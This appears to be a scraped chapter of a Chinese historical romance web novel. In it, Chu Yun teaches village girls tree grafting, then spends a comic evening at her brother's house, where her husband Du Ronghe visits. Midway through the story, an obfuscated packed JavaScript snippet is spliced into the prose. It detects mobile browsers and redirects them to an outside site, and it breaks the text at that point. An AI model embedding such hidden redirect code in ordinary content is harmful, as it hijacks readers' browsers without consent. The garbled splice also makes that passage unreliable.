第 117 章 看戏的场地
作品:《清朝乡下女进城后》 楚韵坡地能嫁接的树说多不多说少不少,尤其头一年最要紧,她一个人也不能做完所有的活,所以都尽量教这些姑娘做,要是有人做得不对,她再去纠正。
楚韵是不怕出错的,地既然给了她,那就跑不了了,今年不行还有明年。
怕出错的是姑娘们,乡里不怎么传手艺给她们,这回能跟在楚韵屁股后边的人都付出了很多努力,或者疯狂洗衣裳或者疯狂做饭让家里人高兴,加上楚韵自己有面子,所以才能这么轻易地在春耕时跑出来学本事,一个两个都怕养死了要嫁接的树枝,然后楚韵就不要她们了,所以都很紧张。
其实,嫁接的活儿最重要的是交接处,只要交接处能密接好,能让大树的营养成功送给接穗,事情就成了一大半。最后她干脆挨个带着姑娘们嫁接,一个人接了三五株,总算有点儿熟手了她就躲在一边看这个姑娘教下一个了。
这些人都是秦好女挑出来的,人没那么机灵,但老实勤恳,做活一丝不苟,楚韵教了一下午,嫁接了一亩地后,基本上就能有个人样了。
秦好女也很自豪啊,她道:“我们一点也不比兄弟们差,在家叉鱼我是最快最好的,她们也是!兄弟们隔三差五便要偷懒,即便真叉也不如我们。不过有些人不知是瞎了还是疯了,竟一点儿也看不出来,偷懒的人不骂,非说什么兄弟们能做的事多不差这一个,做不好便罢了。她们呢,事事做好,略歇歇脚仍要挨骂。
楚韵想,这就是为什么她愿意无条件教她们了——古代姑娘的一生,没有容错率。
而她本来也是没有容错率的古代姑娘,只不过借着嫁进“高门才多了一些自由。
楚韵知道没有容错率过的是什么日子,便道:“错了也不要紧,下一次改正就好,绣坏一双袜子、接错一颗树都不要紧,不是故意的就行了。别人不放咱们,咱们得学会自己放过自己,知道吗?觉得接得不对,互相问一问,拿不定主意,再来问我。
这话说得秦好女老激动了,脸色红彤彤道:“好男常听爹娘说不要紧,但还没人对我说过呢?
像她爹她祖父,都告诉她——姑娘的每走一步都很要紧。
这个话没有错,但至少在楚韵这里,她想让她们知道,无心的小错误是可以弥补的。她道:“打个杯子、放个屁担心得寻死觅活完全没必要,扛过家里的打骂慢慢长大,学点儿挣钱的手艺,总有能自己花钱买碗摔着玩的时候。像我刚嫁到杜家时便什么都没有,如果不是小荷包容了我的贫穷、出格,我今日也不能在这里跟你们说
话。
因为被宽容过,所以,她也想宽容别人。
楚韵想,自己当真被家里的荷花勾住了脚步,不然怎么会一想起她,心就能变得更柔软呢?
姑娘们一下午都热血沸腾,虽然许多人并不太明白楚韵的话,但学好东西能挣钱大家还是明白的呀。
楚宗保被楚韵当成丫头使唤,在背后叉着腿给小姑奶奶们送水、和牛粪、说笑话解乏。
好不容易等到太阳落山,他跳上李叔的车累得满头大汗地伸手拿茶拿糕,打盹儿,等到了石榴胡同,跳下来就要回去,想着明儿无论如何不能再去了,再去他小命休依矣。
楚韵也跟着跳下车,楚宗保还以为他姑是不放心他特意来送的,怪不好意思的,道:“侄儿应当先送姑,怎么好让姑送我,回了吧,晚了。
楚韵看他诧异道:“我就回楚家住,最近这些日子我都和你一起住,咱姑侄两个,好好养养感情,难不成,你爹没跟你说?
楚宗保干笑两声,他这几日累得上眼皮打下眼皮,回家翻个身便睡了,哪知道外边洪水滔天,他想了会儿道:“他今早又给我炖了个猪蹄,说让我补补。
他就说他爹怎么会是这样一个慈父!
天杀的狗才!
这么想着,楚东陵已经在门口迎过来了,口里亲热地叫着妹妹,告诉她嫂子做了她爱吃的东坡肘子、蘑菇菜心,还特意给她买了两个一掐就流油的羊肉馅儿包子。
从前为这个羊肉馅儿包子,还闹出过不少事。楚韵不是任人磋磨的姑娘,所以柯氏让她干什么她都得自己找补回来,尤其知道这嫂子爱吃羊肉包子后,她更是每天鸡不叫就爬起来钻到厨房偷柯氏的羊肉包子吃。
这羊肉包子捏得很大个儿,跟烤包子差不多,即便有葱姜蒜和剁碎加了猪肉的羊肉,还有萝卜块儿和红薯块儿,一口下去满嘴咸香。
楚家也不是日日能吃肉的人家,柯氏这羊肉包子,都是头晚趁人家店铺关门前去讲价买回来,留到第二天早上做早饭慢慢享受。
这样一周也就能吃两天。
柯氏连房梁上的老鼠洞都藏过,不知怎么,还是能被楚韵寻了去,但又不能真的打骂这个妹妹,白日便更用力地使唤她。
楚韵本来在楚家就过得不痛快,被为难得够呛也乐意。
——她看着大家都鸡飞狗跳地不痛快,心里就平衡了。
两人打了半年多擂台,为着这羊肉包子,楚东陵经常身无分文,因为楚韵吃了一个,柯氏必然要锤他三拳,不拿到私房钱不算完
!
这次她竟然肯主动买羊肉包子!
楚东陵放心地想,可见这次楚韵回来,柯氏与小姑子重修旧好的决心有多大。
楚韵听得啧啧称奇,一点儿也没客气,两个热乎乎的包子都让她吃得一干二净,还拉着嗓子柔弱道:“我天天都要吃这个,不吃就睡不好觉!”
柯氏穿着绸子小袄儿和桃红色马面裙,头上还多了个百婴戏的银顶心,暗骂一声狐媚子,真恨不得一拳捶死这乡下丫头,嘴里却道:别说两只包子,就是一头养,你兄弟也舍得!这不,你一回来嫂子就给你炖了只老母鸡,打天不亮便热着了。
你侄儿想偷只鸡翅膀险没让我打死,但他也有孝心,早把他那间屋子腾出来了,还在耳房隔了半间屋子说要在那悬梁刺股学习,我还跟他说了,你有这姑她有这侄儿,都是楚家祖坟哐哐冒青烟。”
楚宗保很震撼,很心碎,那耳房只有小老鼠般苍白瘦弱的人能住在里边,他怎么能睡那个?再说,他何曾说了要在里头悬梁刺股了?
他宁愿睡真耗子洞也不愿意悬梁刺股!
楚韵看这嫂子舌灿莲花,只能说古代妇女节甭管是谁,当真铁骨铮铮一条好娘子,这进退自如得,王八看了都摇头说自己比不上。
柯氏说完想是自己也觉着恶心,风一般进厨房端了碗鸡汤出来让她先尝。
楚宗保也想吃,柯氏没让,还骂他:“馋嘴的东西”,给你姑的孝敬也是你配沾的?还不滚回屋里看书,晚间吃你的剩肘子混一日得了!”
楚宗保让骂得,拔腿就开溜,半天没敢探脑袋。
柯氏在外劝楚韵吃东西,自己陪了会儿便回厨房了。
楚韵自己跟人没话说也这样,一个劲儿劝人吃饭喝茶用水果。这时楚宗保又钻出来,口水直流地盯着楚韵手里的碗。
楚韵喝完了汤,一咬那个鸡,险些没把牙崩了。以她吃鸡多年的经验,这老母鸡绝对刚下锅不到半个时辰。难怪这人刚刚死活不让自己儿子吃!
她知道自己不喜欢浪费食物!
楚韵黑着脸骂奸诈的嫂子,看看鸡又看看眼睛发亮的楚宗保,眼珠子一转,把鸡肉递过去道:“好侄儿,姑疼你,你拿回去躲着你娘吃。”
楚宗保抱着碗嗷一声窜回了屋,柯氏在里边看见了刚想问怎么跑这么快,就听他儿子鬼一样在屋子里带着漏风的嘴尖叫:“额低娘~额地门牙没了!”
柯氏跑过去一看,顿时急得满地找牙,又盯着吱哇乱叫的儿子道:“你娘这鸡也炖了个把时辰,哪能有这么硬?难
不成你骨头是软的不说,竟然连牙也是软的?”
想到这个,她都有些为自己心酸了。
楚宗保看他娘始终不承认是自己炖的硬,又说他上辈子吃软萝卜噎死所以这辈子软虫转世,又给气哭了。
楚东陵很欢迎楚韵,他还盼着妹子把姑爷带过来住住,这妹子可是离开楚家一年了,除了回门那日再也没来过,让外人看了都得说他们不亲热。
看见儿子吃了亲娘炖给楚韵的鸡肉便崩了牙,脸色刷一下就变了,他先掰开楚宗保嘴看了看,伸手进去摸了一阵,道:“不妨事,十岁出头的小子正该换牙。”又对楚韵道:“你嫂子没做过几顿肉,乍然买了只鸡从早弄到晚都不知道要怎么下手,也怪我没本事,不能让你们日日杀鸡吃。如今日子好了,过两日我领个丫头过来,以后你过来有下人伺候,总比你嫂子笨手笨脚的好。”
这话一说,楚韵便不好怪这奸诈嫂子了
只是柯氏怂货,不等楚韵如何,她自个儿做了坏事事发便开始打哆嗦,丈夫一过来便跟拔了牙的老虎似的,缩在旁边半天都不敢吱声。
她怕楚东陵发火,又怕她买个新鲜水嫩的少女回来,所以不管家里多了多少钱她都不愿意挪屋子,更不愿意买下人。
楚东陵说买人是认真的,他行走在外,好些人一听他家里连个端茶倒水的人都没有,便不愿意过来,只是一直没看好人。买小姑娘怕柯氏闹,买小子他自己要闹,买一家子吧,楚家还养不起。
但让这鸡肉一闹,楚东陵便下定决心要买个粗使丫头回来,——买年纪大的不经用,买小丫头买卖才划算,不仅还能生,还能生许多个,等过个三五年再买个小子回来,楚家岂不是奴子奴孙无穷尽了?
柯氏一听这个,急了,抬手便挠了他一爪子。
楚韵看得肠子险些笑破。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13706917|122140||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
晚上鸡肉便炖烂了,楚宗保捂着牙眼泪汪汪地喝粥,柯氏找着机会便跟楚东陵闹不许他买丫头。
楚韵边吃饭边看戏,想——小荷老师诚不欺我,果然饭桌才是看戏的场地。
几个人热热闹闹地吃着饭,外边李叔道:“奶奶,爷来了。”
楚韵一怔,又惊又喜,掀开帘子对外瞧。
杜容和穿着雪白的大衣裳清风朗月地阔步进来。
楚东陵眼睛笑得只剩一条缝,转眼吩咐妻子:“多拿双碗筷出来”,又推楚韵:“给姑爷接衣裳。”
楚韵伸手接过来放回她的屋子里,回来就听见楚东陵在招呼杜容和吃酒。
杜容和陪了两
杯,桌下握着楚韵的手笑:“娘让我来接你,我知道你这几日不好回来,所以我来陪你说会儿话就回去。
楚韵有点结巴了,因为杜容和这话是当着满桌子人说的。
楚东陵没在意这个,他皱眉道:“亲妹子在自家住几日,怎么还劳烦姑爷来接了?咱们两家是什么关系?便是那间屋子,以后也一辈子给她留着,便是姑爷一并住下,也只当在自家一般痛快。说着便死活不让楚韵走。
郎氏确实不乐意出来,知道楚韵晚上不回来,险没把家里点了,闹得小花都不敢呵呵哒地喘气。
她说‘嫁进杜家就是杜家的了,怎么还能回哥嫂屋子里住着?’又忧心忡忡道‘楚家闹屎大的地方,又好茶吃又好被子睡吗?’
郎氏格外嫌楚家穷,黄米胡同不知道楚家底细,只当楚韵是乡下大地主的女儿,在外城人眼里,地主女儿的身份差是差了点儿,但怎么也是丰衣足食的富裕出身,然而这等身份在旗人眼里仍然与暴发户土包子无二,楚韵刚进来时,背地里明面上不少人都在看杜家笑话。
实际上呢,楚韵身份远远比郎氏吹牛吹出去的贫困得多,她刚进门时这个婆婆老觉得浑身发痒,认为是儿媳妇从娘家把虱子啊老鼠啊之类的害虫带了回来。
虽然在楚韵打了田氏以后,郎氏已经从——这个媳妇带来了毒虫改观成——这个媳妇带来了保家仙,但她对楚家仍是用鼻孔看的。
杜容和被娘闹得一个头两个大,加上也想媳妇了,便故意推辞了一下才松快地跑出来。
他来之前已经陪郎氏用过饭,所以桌上略沾了几筷子便不动了,坐下陪着楚韵吃了一会儿茶以后,杜容和又去楚宗保屋子里搜刮了一圈。
他也嫌楚家起居太简陋,即便楚韵过来住不了几天,他还是从家里给她带了铺盖卷儿、茶碗、澡豆,本来何妈还想给楚韵做饭每天使唤个丫头送过来,后来看着这么做太下楚家的脸子才算了。
楚韵坐在椅子上看杜容和铺床,在杜家这少爷绝没动过一指头!
杜容和:“包衣家的孩子陪太子念书的日子多了去了,做奴才谁能做过我们?
接着他告诉楚韵,他不仅会铺床叠被,烧火做饭也很好。
说到这个,楚韵告诉他:“我哥今儿说要买个丫头回来,我嫂子气得要挠他。
杜容和对楚家的事关心得少,听到这里,他便反思了一下,谁家说起爱妻子的丈夫都要说这个男人对妻子娘家如何好。他厌恶归厌恶楚家,但该给楚韵的脸面还是要给,他不想大姑娘小
媳妇说楚韵闲话。
于是道:“过几日我给他们送一房人过来,两口子带着孩子便齐全了。”
养人如养马,有了下人日子也未必能松快,首先他们要有住的地方,其次还要有工钱和一日三餐。
以楚家如今的条件,楚东陵是完全不考虑买一家四口的,没那么多活儿不说,他也实在养不起啊。
杜容和很乐意看他为难的样子。
楚韵还不高兴呢,道:“一家四口得多少钱,他一个王八羔子配吗?我哥这人,你给他再多他也不记你好!”
杜容和靠过去看着小楚妹妹道:“你记着我的好就够了,再或者,你心疼钱,便把我当做是使唤丫头用个够本,如何?”
楚韵哼一声:“你这丫头有什么好的,会梳头不会?会绣花不会?丢在外头看有没有人要捡的!”
杜容和指着叠得整齐的鱼戏莲叶被道:“可暖床铺床这个奴家是拿手的。”
楚韵睁大眼睛:“你学坏了!”
作者有话要说
感谢在2024-07-2823:13:18~2024-07-3023:27:12期间为我投出霸王票或灌溉营养液的小天使哦~
感谢灌溉营养液的小天使:金金30瓶;一颗草莓15瓶;涧月10瓶;是小可爱啊~、修宝、442323235瓶;玖玖3瓶;轻流萤萤、四月快乐1瓶;
非常感谢大家对我的支持,我会继续努力的!